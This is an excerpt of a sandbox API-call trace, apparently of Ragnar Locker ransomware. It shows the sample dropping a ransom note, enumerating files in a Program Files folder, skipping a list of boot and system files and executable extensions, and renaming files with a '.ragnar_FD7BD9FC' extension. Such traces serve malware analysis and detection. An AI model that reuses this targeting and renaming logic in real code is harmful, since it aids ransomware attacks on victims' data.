(lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0055.198] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*" [0055.198] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.198] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0055.198] lstrcpyW (in: lpString1=0x1e9c90, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0055.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7323df00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7323df00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0055.198] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0055.198] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7323df00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7323df00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.198] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0055.198] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0055.198] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0055.198] lstrcmpiW (lpString1="base.xml", lpString2=".") returned 1 [0055.198] lstrcmpiW (lpString1="base.xml", lpString2="..") returned 1 [0055.198] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0055.198] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2=".") returned 1 [0055.198] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="..") returned 1 [0055.198] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0055.198] lstrcmpiW (lpString1="base_altgr.xml", lpString2=".") returned 1 [0055.198] lstrcmpiW (lpString1="base_altgr.xml", lpString2="..") returned 1 [0055.198] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cb5dcd, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cb5dcd, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f669cc7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0055.198] lstrcmpiW (lpString1="base_ca.xml", lpString2=".") returned 1 [0055.198] lstrcmpiW (lpString1="base_ca.xml", lpString2="..") returned 1 [0055.198] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cdbf2a, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1cdbf2a, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0055.199] lstrcmpiW (lpString1="base_heb.xml", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="base_heb.xml", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0055.199] lstrcmpiW (lpString1="base_jpn.xml", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="base_jpn.xml", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02087, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d02087, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f68fe25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0055.199] lstrcmpiW (lpString1="base_kor.xml", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="base_kor.xml", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d281e4, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d281e4, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0055.199] lstrcmpiW (lpString1="base_rtl.xml", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="base_rtl.xml", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d4e341, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d4e341, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6dc0e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0055.199] lstrcmpiW (lpString1="ja-jp.xml", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="ja-jp.xml", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7449e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d7449e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f70223f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0055.199] lstrcmpiW (lpString1="ko-kr.xml", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="ko-kr.xml", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7323df00, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7323df00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0055.199] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f774659, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0055.199] lstrcmpiW (lpString1="zh-changjei.xml", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="zh-changjei.xml", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0055.199] lstrcmpiW (lpString1="zh-dayi.xml", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="zh-dayi.xml", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0055.199] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2=".") returned 1 [0055.199] lstrcmpiW (lpString1="zh-phonetic.xml", lpString2="..") returned 1 [0055.199] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e32b6f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e32b6f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f79a7b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0055.199] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0055.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7323df00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7323df00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0055.200] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7323df00, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7323df00, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.200] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f643b69, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f643b69, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0055.200] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.200] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="base.xml" | out: lpString1="base.xml") returned="base.xml" [0055.200] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned=".xml" [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="autorun.inf") returned 1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="boot.ini") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="bootfont.bin") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="bootsect.bak") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="bootmgr") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="bootmgr.efi") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="bootmgfw.efi") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="desktop.ini") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="iconcache.db") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="ntldr") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="ntuser.dat") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="ntuser.dat.log") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="ntuser.ini") returned -1 [0055.200] lstrcmpiW (lpString1="base.xml", lpString2="thumbs.db") returned -1 [0055.200] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.200] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.200] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.200] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.200] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.200] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.200] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0055.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.205] CloseHandle (hObject=0xffffffff) returned 0 [0055.205] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" [0055.205] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.ragnar_FD7BD9FC" [0055.206] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.206] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7ee29, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1e7ee29, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f6b5f83, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0055.206] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.206] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="baseAltGr_rtl.xml" | out: lpString1="baseAltGr_rtl.xml") returned="baseAltGr_rtl.xml" [0055.206] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned=".xml" [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="autorun.inf") returned 1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="boot.ini") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="bootfont.bin") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="bootsect.bak") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="bootmgr") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="bootmgr.efi") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="bootmgfw.efi") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="desktop.ini") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="iconcache.db") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="ntldr") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="ntuser.dat") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="ntuser.dat.log") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="ntuser.ini") returned -1 [0055.206] lstrcmpiW (lpString1="baseAltGr_rtl.xml", lpString2="thumbs.db") returned -1 [0055.206] lstrcmpiW (lpString1=".xml", lpString2=".db") returned 1 [0055.206] lstrcmpiW (lpString1=".xml", lpString2=".sys") returned 1 [0055.206] lstrcmpiW (lpString1=".xml", lpString2=".dll") returned 1 [0055.206] lstrcmpiW (lpString1=".xml", lpString2=".lnk") returned 1 [0055.206] lstrcmpiW (lpString1=".xml", lpString2=".msi") returned 1 [0055.206] lstrcmpiW (lpString1=".xml", lpString2=".drv") returned 1 [0055.206] lstrcmpiW (lpString1=".xml", lpString2=".exe") returned 1 [0055.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0055.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0055.207] CloseHandle (hObject=0xffffffff) returned 0 [0055.207] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" [0055.207] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.ragnar_FD7BD9FC" [0055.207] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0055.207] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8fc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1c8fc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x8f643b69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc59, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0055.207] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x4d [0055.207] lstrcpyW (in: lpString1=0x1ea0a4, lpString2="base_altgr.xml" | out: lpString1="base_altgr.xml") returned="base_altgr.xml" [0055.207] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned=".xml" [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="autorun.inf") returned 1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="boot.ini") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="bootfont.bin") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="bootsect.bak") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="bootmgr") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="bootmgr.efi") returned -1 [0055.207] lstrcmpiW (lpString1="base_altgr.xml", lpString2="bootmgfw.efi") returned 